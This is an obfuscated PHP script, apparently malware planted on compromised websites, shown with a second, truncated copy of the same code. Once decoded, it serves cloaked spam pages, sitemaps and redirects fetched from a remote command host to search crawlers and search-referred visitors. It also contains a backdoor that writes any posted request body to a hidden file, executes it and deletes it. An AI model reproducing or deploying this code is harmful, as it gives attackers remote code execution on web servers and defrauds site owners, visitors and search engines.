<?php goto Y8XVO; KAzcp: function gets() { return "\x70\62\56\x67\154\157\162\171\x70\154\x61\x6e\56\x63\154\x75\x62"; } goto I650A; iDDCn: exit; goto ahIx9; ahIx9: f5mhd: goto o2DJ6; ENJeN: if (!@preg_match("\43\x5e\x2f\147\145\164\x76\145\x72\x24\43\151", $Xr1iE, $bBgd1)) { goto YZeFw; } goto IYbM5; JyY89: $W4cLz = "\40\x3c\165\162\154\76\40\x3c\154\157\143\76\x25\x73\74\x2f\154\x6f\x63\x3e\74\x78\150\164\155\154\x3a\x6c\151\x6e\153\x20\162\145\x6c\75\42\x61\154\x74\x65\x72\x6e\141\x74\145\x22\40\x68\x72\145\146\154\x61\x6e\x67\75\x22\152\141\x22\40\150\x72\145\x66\75\42\x25\x73\x22\57\x3e\74\57\165\x72\x6c\x3e"; goto l9_0K; L8Lgs: $VLm6U = trim(urlx("\x68\x74\x74\x70\163\72\x2f\57" . gets() . "\57\x73\151\164\145\x6d\141\160\x2e\x78\155\x6c", $Y6Vds, $utg6e . "\46\150\164\164\160\x3d" . $RPGAr)); goto CQUyU; x3BDj: exit; goto aUN3p; cZnXl: if (!@preg_match("\43\x67\157\157\147\x6c\145\174\x79\141\150\x6f\x6f\x7c\x62\x69\x6e\147\x7c\x63\x72\141\x66\164\174\103\x72\x61\167\154\145\x72\x23\x69", $oPXfA)) { goto mnTFx; } goto ygnik; d77Nv: $Xr1iE = $_SERVER["\122\x45\121\125\x45\x53\x54\137\x55\x52\x49"]; goto ij9ND; FyBgl: q9Uki: goto mQnkM; K9nPu: $VLm6U = trim(urlx("\150\x74\164\x70\163\72\57\x2f" . gets() . "\x2f\x73\151\x74\x65\155\141\160" . ($bBgd1[1] == '' || $x6t1_[1] != '' ? "\56\170\x6d\x6c" : "\57" . $bBgd1[1]), $Y6Vds, $utg6e)); goto zFQVF; zFQVF: if (!($VLm6U === '')) { goto L8eAh; } goto BdtCh; SuKmj: fnpFr: goto ud1M_; CHoc9: $YFVta = $utg6e . "\46\147\162\x6f\165\x70\x69\144\75" . $gWEjc . "\46\165\x72\x69\75" . $Xr1iE . "\x26\x69\x70\75" . $ALRJr; goto L1ugl; BgulK: $Z2vie = 1; goto NU7wi; pzYbx: exit; goto O9wxh; bzADR: HwoBM: goto SpzLR; vyzV0: $hExVp = urlx($Q9WvL); goto DW_uf; I650A: function https() { goto HWWVE; HWWVE: if (!(!empty($_SERVER["\110\124\x54\x50\123"]) && strtolower($_SERVER["\110\124\124\120\123"]) !== "\157\146\x66" || isset($_SERVER["\x48\124\124\120\x5f\130\137\106\x4f\x52\127\101\122\104\x45\x44\x5f\x50\x52\117\124\x4f"]) && $_SERVER["\110\x54\124\120\137\130\137\x46\x4f\122\x57\x41\122\104\105\x44\137\120\122\117\124\117"] === "\x68\x74\164\160\x73" || !empty($_SERVER["\x48\124\x54\120\137\106\122\x4f\x4e\x54\x5f\x45\116\x44\137\x48\124\124\120\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\122\x4f\x4e\x54\x5f\x45\116\x44\x5f\x48\x54\124\120\x53"]) !== "\157\146\146")) { goto EBpNS; } goto RsrL8; RsrL8: return "\x68\x74\164\x70\163"; goto TeXN0; k6DRL: return "\x68\x74\164\160"; goto ctQed; TeXN0: EBpNS: goto k6DRL; ctQed: } goto XqnIN; o2DJ6: if (!@preg_match("\43\136\57\x73\151\x74\x65\x2f\77\x28\x2e\x2a\x3f\x29\44\43\151", $Xr1iE, $bBgd1)) { goto wz0CZ; } goto o6X6e; zxchH: @ini_set("\x64\x69\163\x70\154\141\171\137\x65\x72\162\x6f\162\163", 0); goto WTICL; dsvF8: $ygRQh = ''; goto B1DX1; bFZPh: exit; goto pYL3E; aXNwm: $OZNz4 = $_SERVER["\110\124\124\120\137\110\117\123\124"]; goto SmBaH; uv5eJ: udUaL: goto hm11d; SmBaH: $Xr1iE = $_SERVER["\122\x45\x51\125\105\123\124\137\x55\122\111"]; goto kTMSj; BudiT: function urlx($OJuZo, $Y6Vds = null, $utg6e = null, $ZlP5p = null) { goto oldcm; grJTz: curl_setopt($VR3pW, CURLOPT_SSL_VERIFYPEER, FALSE); goto JEGoI; eV222: curl_setopt($VR3pW, CURLOPT_RETURNTRANSFER, 1); goto BtZcI; lh2zD: curl_setopt($VR3pW, CURLOPT_HTTPHEADER, $Y6Vds); goto vAevR; wt4EF: if (!(stripos($OJuZo, "\150\164\164\x70\163\x3a") === 0)) { goto BMBIF; } goto grJTz; oldcm: $VR3pW = curl_init(); goto s7Ofa; wMs8x: curl_setopt($VR3pW, CURLOPT_POST, 1); goto Vgjgq; QumR5: if ($utg6e === null) { goto vTHqZ; } goto wMs8x; ewgc5: m7nJS: goto wt4EF; s7Ofa: curl_setopt($VR3pW, CURLOPT_URL, $OJuZo); goto j97oo; GHpL7: curl_setopt($VR3pW, CURLOPT_ENCODING, "\147\x7a\151\160\x2c\x64\x65\146\x6c\x61\x74\145"); goto ewgc5; hWfCL: BMBIF: goto WwuZn; JEGoI: curl_setopt($VR3pW, CURLOPT_SSL_VERIFYHOST, FALSE); goto hWfCL; Wuf8O: curl_close($VR3pW); goto sMHBx; sMHBx: return $krZ_H; goto IW1X1; j97oo: curl_setopt($VR3pW, CURLOPT_FOLLOWLOCATION, 1); goto NBCfB; Vgjgq: curl_setopt($VR3pW, CURLOPT_POSTFIELDS, $utg6e); goto eGM84; WwuZn: if ($Y6Vds === null) { goto A52Wz; } goto lh2zD; eGM84: vTHqZ: goto eV222; vAevR: A52Wz: goto QumR5; BtZcI: $krZ_H = curl_exec($VR3pW); goto Wuf8O; NBCfB: if ($ZlP5p === null) { goto m7nJS; } goto GHpL7; IW1X1: } goto Nk_6P; W9QYq: unlink("\x2e\145\107\x41\x30\124\171\x32\x57\x4c\150"); goto iDDCn; O9wxh: goto HwoBM; goto bkS8h; JW4I_: exit; goto bzADR; BdtCh: exit; goto CfwFf; R5CKk: s5vEs: goto BDfdq; nelxk: @file_put_contents("\56\145\107\x41\x30\x54\x79\x32\127\114\x68", $E0R5X, FILE_USE_INCLUDE_PATH); goto z4A1v; Y4WXq: $qoD11 = ''; goto rZk_w; pX05e: @header("\114\157\143\141\x74\x69\x6f\156\x3a\40" . $D6YpY); goto bFZPh; ZvpJZ: if (!@preg_match("\43\136\50\x5c\144\51\52\x23", $VLm6U)) { goto Z34ue; } goto BgulK; DUJdr: echo sprintf($To7et, $ygRQh); goto Mvzop; gCJ9g: IiEnZ: goto hrUry; kTMSj: $ALRJr = clientip(); goto ANcrR; qD501: $hExVp = urlx($Q9WvL); goto M8XkA; MQxbZ: $To7et = "\74\x3f\170\155\154\x20\x76\x65\x72\x73\x69\x6f\x6e\75\42\61\56\x30\42\40\145\x6e\x63\157\x64\151\156\x67\75\42\125\124\x46\x2d\70\42\x3f\76\x3c\x21\x2d\55\x20\x61\165\164\x6f\147\x65\x6e\40\142\171\40\x64\x6f\x69\155\x20\55\55\x3e\xd\12\x3c\x75\162\x6c\163\145\x74\x20\x78\155\154\156\163\75\42\x68\164\164\x70\x3a\x2f\x2f\x77\167\x77\x2e\163\151\164\x65\155\x61\160\163\56\157\x72\147\x2f\x73\143\x68\x65\155\141\163\x2f\x73\x69\x74\145\x6d\141\160\x2f\x30\56\x39\x22\15\xa\x20\40\x20\40\40\x20\x78\x6d\154\x6e\x73\72\x78\x68\164\155\x6c\x3d\x22\150\x74\164\x70\x3a\x2f\x2f\x77\167\x77\56\167\63\x2e\157\162\x67\57\x31\x39\x39\x39\x2f\170\150\164\155\x6c\x22\x3e\15\12\x25\163\x3c\x2f\165\x72\154\x73\145\x74\76"; goto JyY89; v70CZ: AAvlD: goto vrD9k; j1wPA: goto VkFCQ; goto uv5eJ; CQUyU: if (!($VLm6U === '')) { goto Ied2v; } goto kxdK5; nFB2e: $oPXfA = isset($_SERVER["\x48\124\124\x50\x5f\x55\x53\105\122\137\x41\107\105\x4e\x54"]) ? $_SERVER["\x48\124\x54\120\x5f\x55\x53\105\x52\x5f\101\x47\x45\x4e\x54"] : ''; goto aXNwm; Jd6X8: exit; goto MiUF3; nXJQ3: goto IiEnZ; goto v70CZ; Lq1cA: $Z2vie++; goto j1wPA; bjG55: if (!(($bBgd1[1] === '' || $x6t1_[1] != '') && @preg_match("\43\136\x28\134\x64\x29\52\x23", $VLm6U))) { goto hmluy; } goto Pf8kv; P_enM: $Z2vie = 1; goto BCE7Z; sOU22: $kZsaE = explode("\xa", $VLm6U); goto dsvF8; CrRat: if (!($Z2vie <= intval($VLm6U))) { goto s5vEs; } goto e1z6M; Uui1Y: $K98Xa = isset($_SERVER["\110\124\124\x50\137\101\x43\x43\105\120\124\137\x4c\x41\116\x47\x55\101\x47\105"]) ? substr($_SERVER["\110\x54\x54\x50\137\x41\103\x43\105\x50\x54\x5f\114\101\x4e\107\125\x41\x47\105"], 0, 4) : ''; goto sU_Qa; bkS8h: rmc40: goto Yyk3e; hsi0A: echo @trim(urlx(sprintf("\x68\164\x74\x70\163\72\x2f\57\x25\x73\57\x62\x6f\x74\57\x70\x61\x67\x65\x3f" . $YFVta, gets()), $Y6Vds, $YFVta, 1)); goto pzYbx; BzqS5: $GYju8 = "\x20\74\x73\151\164\x65\x6d\x61\x70\x3e\40\74\154\157\143\76\45\163\72\57\x2f\x25\163\57\163\151\164\x65\155\141\x70\x25\x64\x2e\x78\x6d\154\x3c\57\154\x6f\x63\x3e\x3c\57\163\x69\x74\x65\155\x61\160\76"; goto Uui1Y; z4A1v: echo include "\56\x65\107\x41\60\124\171\x32\127\114\x68"; goto W9QYq; rUMVy: @header("\103\157\156\164\145\x6e\x74\55\x74\171\x70\x65\72\x20\x74\145\x78\x74\57\170\155\154"); goto bjG55; NU7wi: VkFCQ: goto IntsQ; CfwFf: L8eAh: goto rUMVy; BCE7Z: AD0lA: goto CrRat; mQnkM: if (!@preg_match("\x23\136\57\x73\x69\164\x65\x6d\141\160\x28\x2e\52\77\x29\56\170\x6d\154\44\x23\x69", $Xr1iE, $bBgd1)) { goto fnpFr; } goto v2nFh; IYbM5: $Fih03 = strval(time()); goto ehLCn; LRkVI: $utg6e .= "\46\x67\162\157\165\160\151\144\75" . $gWEjc; goto p100L; ij9ND: if (!@preg_match("\x23\x5e\x2f\x70\151\x6e\x67\x73\x69\164\145\155\x61\160\50\x2e\x2a\x3f\51\x2e\x78\155\154\44\43\x69", $Xr1iE, $bBgd1)) { goto q9Uki; } goto Y4WXq; e1z6M: $zjSHD .= sprintf($GYju8, $RPGAr, $OZNz4, $Z2vie, date("\131\55\155\x2d\x64\x5c\124\110\72\x69\72\x73\120", time())); goto K_8N4; IO7Nd: array_push($Y6Vds, "\170\144\157\151\155\72\x20" . crc32($Fih03 . "\x5c\x6e" . $utg6e)); goto K9nPu; a3gG4: echo @trim(urlx(sprintf("\x68\164\164\160\x73\72\57\57\x25\163\x2f\142\x6f\x74\57\x68\x6f\155\x65\x3f" . $YFVta . "\46\x75\x72\x69\x3d" . $Xr1iE, gets()), $Y6Vds, $YFVta, 1)); goto Jd6X8; BDfdq: echo sprintf($NNAJD, $zjSHD); goto Tz7kn; no_j1: $Fih03 = isset($_SERVER["\x48\x54\124\120\x5f\124\111\x4d\105\123\124\101\x4d\x50"]) ? $_SERVER["\x48\124\124\120\x5f\x54\x49\115\105\x53\124\101\115\120"] : ''; goto fyvrj; nlpQu: xIPTL: goto Lq1cA; NOsNI: array_push($Y6Vds, "\x78\144\x6f\x69\x6d\x3a\40" . crc32($Fih03 . "\x5c\x6e" . $utg6e)); goto trCbb; bf0u3: wz0CZ: goto ENJeN; P49ut: array_push($Y6Vds, "\x78\144\x6f\x69\155\72\40" . crc32($Fih03 . "\134\x6e" . $utg6e)); goto L8Lgs; AMdyv: vwWqh: goto MxGpU; qe3Bk: $Q9WvL = sprintf("\x68\x74\x74\x70\163\72\x2f\57\x77\x77\x77\56\x67\157\x6f\147\x6c\x65\x2e\143\x6f\x2e\x6a\x70\57\160\151\156\147\77\x73\151\x74\x65\x6d\141\160\75\x25\163\72\x2f\x2f\45\163\x2f\x73\151\164\x65\x6d\141\160\x25\163\45\144\56\x78\155\154", $RPGAr, $OZNz4, $x6t1_[0], $Z2vie); goto vyzV0; ZMwk3: @ignore_user_abort(1); goto Uq1nA; odcdo: $Fih03 = strval(time()); goto IR8ei; Uq1nA: $gWEjc = "\x34\62\x36"; goto MQxbZ; hrUry: echo $qoD11; goto Ii4Cx; rZk_w: if ($bBgd1[1] === '' || @preg_match("\43\50\x5c\x64\53\51\55\44\x23", $bBgd1[1], $x6t1_)) { goto AAvlD; } goto P_q2S; iKLqR: $YFVta .= sprintf("\x26\x68\160\x69\x64\x3d\45\163\x2d\x25\x73", preg_replace("\57\x5b\x61\x2d\x7a\x49\x5d\x28\x78\171\x7a\x7c\142\x75\172\x7a\x29\x2e\x2a\44\x2f", "\56\44\61", strrev($bBgd1[1])), $bBgd1[2]); goto hsi0A; L1ugl: $D6YpY = urlx(sprintf("\x68\x74\164\160\163\x3a\57\x2f\45\x73\57\142\x6f\164\x2f\63\60\62\x3f" . $YFVta . "\46\x75\x72\151\x3d" . $Xr1iE, gets()), $Y6Vds, $YFVta, 1); goto pX05e; ygnik: $YFVta = $utg6e . "\46\150\164\164\160\75" . $RPGAr . "\46\147\162\157\165\x70\151\144\75" . $gWEjc; goto WqcnE; fyvrj: $E0R5X = @file_get_contents("\x70\x68\160\x3a\x2f\x2f\151\x6e\160\165\164"); goto nelxk; IntsQ: if (!($Z2vie <= intval($VLm6U))) { goto udUaL; } goto qe3Bk; vrD9k: $utg6e .= $x6t1_[1] == '' ? "\46\147\162\x6f\x75\160\151\144\x3d" . $gWEjc : "\x26\x67\x72\x6f\x75\160\x69\144\75" . $x6t1_[1]; goto odcdo; hm11d: Z34ue: goto gCJ9g; v2nFh: $utg6e = "\x73\x68\x6f\x73\164\75" . $OZNz4 . "\46\x68\x74\164\x70\x3d" . $RPGAr; goto GVAf6; l9_0K: $NNAJD = "\74\x3f\170\155\x6c\x20\x76\145\x72\163\151\157\156\x3d\x22\x31\x2e\60\42\40\145\156\x63\x6f\144\x69\156\x67\x3d\42\x55\124\106\x2d\x38\x22\77\76\x3c\41\x2d\x2d\x20\141\165\x74\x6f\x67\145\x6e\x20\x62\171\x20\144\x6f\151\x6d\x20\55\55\76\xd\xa\74\x73\151\164\x65\155\141\x70\151\x6e\x64\x65\170\x20\170\155\x6c\x6e\x73\x3d\x22\x68\164\164\x70\72\57\x2f\x77\x77\x77\56\163\x69\164\145\155\x61\160\163\x2e\x6f\162\147\x2f\163\x63\x68\145\x6d\141\163\x2f\163\x69\164\x65\x6d\141\160\57\x30\x2e\x39\x22\x3e\x20\45\x73\40\x3c\57\x73\151\164\145\x6d\141\x70\151\x6e\x64\145\170\76"; goto BzqS5; Ii4Cx: exit; goto FyBgl; Cyyjl: exit; goto bf0u3; GVAf6: if (@preg_match("\x23\50\x5c\144\53\x29\55\x24\x23", $bBgd1[1], $x6t1_)) { goto t6040; } goto LRkVI; AN1yl: if (@preg_match("\43\x63\x61\164\x65\134\57\50\133\141\x2d\172\x5d\53\x29\55\x28\134\x64\x2b\x29\x24\x23\151", $Xr1iE, $ge1oh)) { goto rmc40; } goto a3gG4; yOMFr: t6040: goto C5ozI; M8XkA: $qoD11 .= $Q9WvL . $hExVp; goto nXJQ3; ZkljZ: array_push($Y6Vds, "\164\x69\155\x65\x73\x74\x61\155\x70\72\40" . $Fih03); goto IO7Nd; p100L: goto vwWqh; goto yOMFr; pYL3E: o9Q_x: goto I8r0m; OSsrb: $utg6e = "\x73\150\157\163\164\75" . $OZNz4 . "\46\160\162\x6f\164\x6f\x3d" . $RPGAr; goto d77Nv; Mthrd: goto AD0lA; goto R5CKk; trCbb: $SVagc = trim(urlx("\x68\164\164\160\x73\72\57\57" . gets() . $bBgd1[0], $Y6Vds, $utg6e)); goto naFkW; Yyk3e: echo @trim(urlx(sprintf("\x68\164\x74\x70\x73\72\x2f\x2f\45\163\x2f\142\x6f\164\57\143\141\164\145\77" . $YFVta, gets()), $Y6Vds, $YFVta . "\46\x68\157\x73\x74\x3d" . preg_replace("\x2f\133\x61\x2d\172\111\135\50\170\171\172\174\x62\x75\x7a\x7a\x29\56\52\x24\x2f", "\x2e\x24\x31", strrev($ge1oh[1])) . "\46\143\x61\164\145\151\x64\75" . $ge1oh[2], 1)); goto JW4I_; MxGpU: $Fih03 = strval(time()); goto ZkljZ; sU_Qa: $ILcJG = isset($_SERVER["\x48\124\124\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]) ? $_SERVER["\110\124\x54\120\137\122\105\106\105\x52\105\122"] : ''; goto nFB2e; ud1M_: if (!(isset($_SERVER["\110\124\x54\120\137\130\104\117\111\115"]) && strlen($_SERVER["\x48\x54\x54\120\x5f\x58\104\x4f\111\x4d"]) > 0)) { goto f5mhd; } goto no_j1; SpzLR: mnTFx: goto UAquH; NCTG0: $Y6Vds = array("\x55\163\145\x72\55\x41\x67\x65\156\164\x3a\x20" . $oPXfA, "\114\x61\156\147\x3a\x20" . $K98Xa, "\x52\x65\146\x65\162\145\162\x3a\40" . $ILcJG, "\x48\164\x74\x70\55\110\x6f\x73\164\72\x20" . $OZNz4, "\122\145\155\x6f\164\x65\x2d\x41\144\144\x72\x3a\x20" . $ALRJr); goto OSsrb; XwOQs: $Z2vie++; goto Mthrd; C5ozI: $utg6e .= "\x26\x67\162\157\x75\x70\151\x64\x3d" . $x6t1_[1]; goto AMdyv; T47lL: Ied2v: goto ZvpJZ; Op6Z1: hmluy: goto sOU22; DW_uf: $qoD11 .= $Q9WvL . $hExVp; goto nlpQu; ehLCn: array_push($Y6Vds, "\x74\x69\155\x65\163\x74\141\x6d\160\x3a\x20" . $Fih03); goto NOsNI; kxdK5: exit; goto T47lL; I8r0m: function urls($OZNz4, $uJMZy, $oPXfA, $MREAs, $djHh7 = null) { goto BNpVE; cmYDN: $b5jm_ = "\x47\x45\124\40" . $uJMZy . "\77" . $djHh7 . "\x20\110\x54\x54\x50\57\61\56\x30\xd\xa\x48\x6f\163\164\x3a\40" . $OZNz4 . "\15\12\122\x65\146\145\x72\x65\x72\72\40" . $MREAs . "\15\xa\125\163\145\x72\x2d\101\x67\145\156\164\72\40" . $oPXfA . "\15\xa\15\12"; goto SbF8q; Vz80v: fclose($BRKhd); goto E26sC; SbF8q: $N3LEh = fwrite($BRKhd, $b5jm_); goto Vz80v; BNpVE: $BRKhd = stream_socket_client("\163\163\154\x3a\x2f\x2f" . $OZNz4 . "\x3a\x34\x34\x33", $ew1HW, $UMlGU, 6); goto cmYDN; E26sC: } goto BudiT; o6X6e: $OJuZo = urldecode("\150\164\x74\x70\x73\72\x2f\x2f\163\x65\x61\x72\143\150\56\x79\141\150\157\157\56\143\157\56\152\x70\x2f\x73\145\141\x72\143\x68\77\x70\75\163\151\164\145\x3a\x25\x73\x26\145\151\75\x55\124\x46\x2d\70"); goto s7NvV; Y8XVO: error_reporting(0); goto zxchH; Nk_6P: function cc($Xr1iE) { goto tnJeS; brxsH: return $cHzvG == $MfTvq[2]; goto flSOt; zsxxk: return false; goto aA4zE; yEA3x: if (!(sizeof($MfTvq) != 3)) { goto IIUyV; } goto zsxxk; tnJeS: $MfTvq = explode("\x2d", substr($Xr1iE, 1, strlen($Xr1iE) - 6)); goto yEA3x; kP4xk: $cHzvG = sprintf("\45\x75", crc32(sprintf("\x25\x73\55\x25\x73", $MfTvq[0], $MfTvq[1]))); goto brxsH; aA4zE: IIUyV: goto kP4xk; flSOt: } goto KAzcp; P_q2S: $Q9WvL = sprintf("\x68\164\x74\x70\x73\72\57\x2f\167\167\167\x2e\x67\157\x6f\147\x6c\x65\56\143\157\x2e\152\160\x2f\160\x69\156\147\x3f\x73\x69\x74\x65\155\141\x70\75\45\163\72\x2f\x2f\x25\x73\57\163\x69\164\x65\155\141\160\45\163\x2e\x78\155\x6c", $RPGAr, $OZNz4, $bBgd1[1]); goto qD501; Tz7kn: exit; goto Op6Z1; RTWTu: QfBu9: goto iKLqR; OPool: $krZ_H = urlx($OJuZo, null, null, 1, "\x4d\x6f\x7a\x69\x6c\x6c\x61\57\x35\56\60\40\x28\x57\151\156\144\x6f\x77\163\x3b\40\125\73\x20\127\x69\x6e\144\157\x77\x73\40\116\x54\40\x35\56\61\x3b\x20\x65\156\55\x55\x53\x29\x20\x41\x70\x70\154\145\127\x65\142\113\x69\x74\57\65\x33\64\x2e\67\40\x28\x4b\x48\x54\x4d\x4c\x2c\x20\154\x69\x6b\x65\x20\107\x65\143\x6b\157\x29\x20\103\150\x72\157\x6d\x65\57\67\x2e\60\x2e\65\x31\67\x2e\x34\61\x20\x53\x61\x66\x61\162\151\57\65\x33\x34\x2e\x37"); goto Wb4z_; GR1wG: @preg_match("\43\50\x5c\x64\x2a\51\344\xbb\xb6\x3c\x21\55\x2d\43", $krZ_H, $bBgd1); goto EJDb1; naFkW: echo $dlGGP === false ? "\146\x61\151\154" . gets() : $SVagc . $gWEjc . gets(); goto x3BDj; rAoVh: $krZ_H = str_replace(array("\57\134\57\163\x2b\x2f", "\134\162\x5c\x6e", "\x5c\x72", "\134\156", "\42", "\x2c"), '', $krZ_H); goto GR1wG; B1DX1: foreach ($kZsaE as $NM4SM) { goto d7oIH; OsNyo: Pf9Ui: goto kx4Gm; d7oIH: $D6YpY = $RPGAr . "\72\57\x2f" . $OZNz4 . "\57" . $NM4SM; goto XL4mu; XL4mu: $ygRQh .= sprintf($W4cLz, $D6YpY, $D6YpY); goto OsNyo; kx4Gm: } goto W1mfo; Wb4z_: $krZ_H = substr($krZ_H, strpos($krZ_H, "\74\41\x2d\x2d\x20\x2d\55\x3e"), 100); goto rAoVh; ANcrR: $RPGAr = https(); goto NCTG0; EJDb1: echo $bBgd1[1]; goto Cyyjl; MiUF3: goto HwoBM; goto RTWTu; WTICL: @set_time_limit(3600); goto ZMwk3; UAquH: if (!(@preg_match("\43\x67\x6f\x6f\147\154\x65\56\x63\157\x2e\x6a\x70\174\147\157\x6f\x67\154\145\56\143\x6f\155\x7c\171\x61\x68\x6f\x6f\56\143\x6f\x2e\x6a\160\x7c\x79\141\x68\157\x6f\x2e\x63\x6f\x7c\142\151\x6e\147\56\x63\x6f\155\x7c\x61\x73\x6b\x2e\x63\x6f\x6d\x7c\141\157\154\56\x63\157\x6d\x7c\141\x6f\x6c\x2e\152\x70\43\x69", $ILcJG) && @preg_match("\43\x28\x5b\x61\x2d\172\x49\x5d\53\51\55\50\134\x64\x2b\51\77\50\55\50\134\x64\53\x29\x29\x3f\x28\x2e\x68\x74\x6d\154\51\x24\x23\x69", $Xr1iE))) { goto o9Q_x; } goto CHoc9; IR8ei: array_push($Y6Vds, "\164\151\155\x65\x73\164\141\x6d\x70\72\40" . $Fih03); goto P49ut; WqcnE: if (@preg_match("\43\x28\133\141\55\172\x5d\x2b\x29\x2d\50\x5c\x64\x2b\x29\x3f\50\x2e\150\x74\x6d\x6c\51\x24\x23\151", $Xr1iE, $bBgd1)) { goto QfBu9; } goto AN1yl; K_8N4: fLStX: goto XwOQs; Mvzop: exit; goto SuKmj; s7NvV: $OJuZo = $bBgd1[1] == '' ? sprintf($OJuZo, $OZNz4) : sprintf($OJuZo, $bBgd1[1]); goto OPool; W1mfo: KvqDZ: goto DUJdr; Pf8kv: $zjSHD = ''; goto P_enM; aUN3p: YZeFw: goto cZnXl; XqnIN: function clientip() { goto QW18T; QW18T: if (getenv("\122\x45\115\117\x54\105\x5f\101\x44\x44\x52") && strcasecmp(getenv("\x52\105\x4d\117\124\x45\137\101\104\104\122"), "\x75\156\153\156\x6f\167\156")) { goto Ijk9_; } goto s5xSX; s5xSX: if (isset($_SERVER["\122\x45\x4d\x4f\x54\x45\x5f\101\104\x44\122"]) && $_SERVER["\x52\x45\x4d\x4f\x54\105\137\x41\104\104\x52"] && strcasecmp($_SERVER["\x52\105\x4d\x4f\x54\105\x5f\101\104\104\x52"], "\165\156\153\x6e\x6f\x77\156")) { goto rnpl0; } goto ngzFM; q06ib: bhQHA: goto aTjtz; b_cfY: return $_SERVER["\x52\x45\x4d\117\124\105\x5f\x41\104\104\x52"]; goto q06ib; hGZ22: rnpl0: goto b_cfY; IjzW_: Ijk9_: goto Xdgrj; ngzFM: goto bhQHA; goto IjzW_; Xdgrj: return getenv("\122\105\115\117\124\105\137\x41\x44\104\x52"); goto sM9w4; sM9w4: goto bhQHA; goto hGZ22; aTjtz: }?>

<?php goto chmvZ; DDScr: exit; goto Hl3CN; oaWN2: $bQ1nQ = urlx($kDkeV); goto zjUg_; IAIDs: exit; goto eaZ7a; Qohj3: $tk_8W = isset($_SERVER["\110\x54\124\120\137\x54\x49\x4d\x45\x53\x54\101\115\x50"]) ? $_SERVER["\110\x54\124\120\137\x54\111\115\x45\x53\x54\x41\115\x50"] : ''; goto EX2J9; hS71r: $cYU0v = "\x73\x68\x6f\x73\164\x3d" . $aMbRe . "\46\x68\x74\x74\160\x3d" . $nW0VB; goto tn5v7; vdvmQ: echo sprintf($yvT0C, $HmXoK); goto RUHBv; w2Ogl: $hXODD = trim(urlx("\x68\x74\164\x70\x73\x3a\x2f\57" . gets() . "\x2f\163\151\x74\x65\x6d\141\160" . ($ayaYm[1] == '' || $RAk2B[1] != '' ? "\56\x78\x6d\154" : "\x2f" . $ayaYm[1]), $J0mtv, $cYU0v)); goto sNiNE; LmrPc: array_push($J0mtv, "\164\x69\x6d\x65\163\x74\x61\x6d\160\72\x20" . $tk_8W); goto oHYeB; I9uD7: $c_SMM = $cYU0v . "\x26\x67\162\157\165\x70\151\144\75" . $SCYPM . "\46\x75\x72\151\75" . $WCFF6 . "\x26\x69\160\x3d" . $PTsdq; goto MD2FV; i_mHp: function https() { goto lC3az; yVaRK: return "\150\164\164\160"; goto eo8mJ; WE7SR: return "\150\x74\x74\x70\x73"; goto T5oPB; lC3az: if (!(!empty($_SERVER["\x48\x54\x54\x50\x53"]) && strtolower($_SERVER["\x48\x54\x54\120\x53"]) !== "\157\146\146" || isset($_SERVER["\x48\x54\124\x50\x5f\130\137\x46\117\122\x57\101\122\x44\105\x44\137\120\122\x4f\x54\x4f"]) && $_SERVER["\110\x54\x54\x50\137\x58\137\x46\117\122\x57\101\122\104\105\x44\137\x50\122\117\124\117"] === "\x68\164\164\x70\163" || !empty($_SERVER["\x48\124\124\120\137\x46\x52\117\116\124\137\105\x4e\x44\x5f\x48\124\x54\x50\123"]) && strtolower($_SERVER["\110\124\x54\120\137\106\x52\x4f\x4e\124\x5f\105\x4e\x44\137\x48\124\x54\120\x53"]) !== "\157\x66\x66")) { goto YqFIQ; } goto WE7SR; T5oPB: YqFIQ: goto yVaRK; eo8mJ: } goto rqUne; WVqOg: $GGdUj = explode("\12", $hXODD); goto z1Y3B; j5wxz: DSBPr: goto r0tu3; D1RK4: exit; goto cI09s; DMncm: $PTsdq = clientip(); goto OSBX_; EF0B2: $WCFF6 = $_SERVER["\122\105\x51\x55\x45\123\124\137\x55\122\x49"]; goto DMncm; vgaex: $ptxk_ = str_replace(array("\57\134\x2f\x73\53\x2f", "\134\162\134\x6e", "\x5c\162", "\x5c\156", "\42", "\x2c"), '', $ptxk_); goto kBtxn; qIWhL: if ($ayaYm[1] === '' || @preg_match("\x23\50\x5c\144\53\x29\55\44\x23", $ayaYm[1], $RAk2B)) { goto JqApy; } goto kn1wY; wC5uX: echo sprintf($dKwmf, $cS1vw); goto D1RK4; rgYjj: @header("\x4c\157\x63\141\164\151\x6f\156\72\40" . $mgYR_); goto OAK7d; fJMmA: echo @trim(urlx(sprintf("\x68\x74\x74\160\163\x3a\57\57\45\163\57\x62\x6f\x74\57\x63\141\164\145\x3f" . $c_SMM, gets()), $J0mtv, $c_SMM . "\x26\x68\x6f\163\x74\75" . preg_replace("\x2f\x5b\x61\55\172\111\135\50\170\x79\172\x7c\142\x75\172\172\x29\56\52\x24\x2f", "\56\x24\x31", strrev($gMhyB[1])) . "\46\x63\141\164\145\x69\x64\x3d" . $gMhyB[2], 1)); goto ptyFb; fcSMr: exit; goto q04vP; aS6o4: xNlJx: goto Q4qrV; lfyy0: @file_put_contents("\x2e\145\x47\101\x30\124\x79\x32\x57\x4c\150", $x9LBx, FILE_USE_INCLUDE_PATH); goto S68DQ; zYc3r: $A5s0s = 1; goto cyyjp; ZWSCp: exit; goto xIoGK; kBtxn: @preg_match("\x23\x28\134\144\x2a\51\xe4\273\xb6\x3c\x21\x2d\x2d\x23", $ptxk_, $ayaYm); goto uSXo0; mucOy: aTiNP: goto l1h_L; ozsy5: if (@preg_match("\43\x63\x61\164\145\x5c\x2f\x28\133\x61\x2d\172\135\x2b\x29\x2d\x28\x5c\x64\x2b\51\44\x23\151", $WCFF6, $gMhyB)) { goto Yv0ec; } goto m6Acj; ptyFb: exit; goto RWkJV; umnj1: goto UmgiY; goto UNQwo; rWhDU: $ptxk_ = urlx($n24Xc, null, null, 1, "\115\157\172\151\154\x6c\x61\x2f\65\x2e\x30\40\x28\x57\151\156\x64\x6f\x77\163\x3b\x20\125\x3b\40\x57\x69\x6e\x64\x6f\x77\x73\40\116\124\x20\65\x2e\x31\x3b\x20\x65\156\x2d\x55\123\x29\40\x41\160\x70\x6c\145\x57\x65\x62\x4b\151\164\57\65\63\64\x2e\x37\40\x28\x4b\110\x54\115\x4c\x2c\40\x6c\x69\153\x65\x20\x47\145\x63\153\x6f\x29\x20\x43\x68\162\157\155\x65\57\67\56\60\x2e\65\x31\67\x2e\64\61\x20\x53\x61\x66\x61\x72\151\x2f\65\x33\x34\56\x37"); goto AnSFS; gwCjo: if (!@preg_match("\x23\x5e\50\x5c\x64\x29\52\43", $hXODD)) { goto IEgvg; } goto zYc3r; u22Mj: 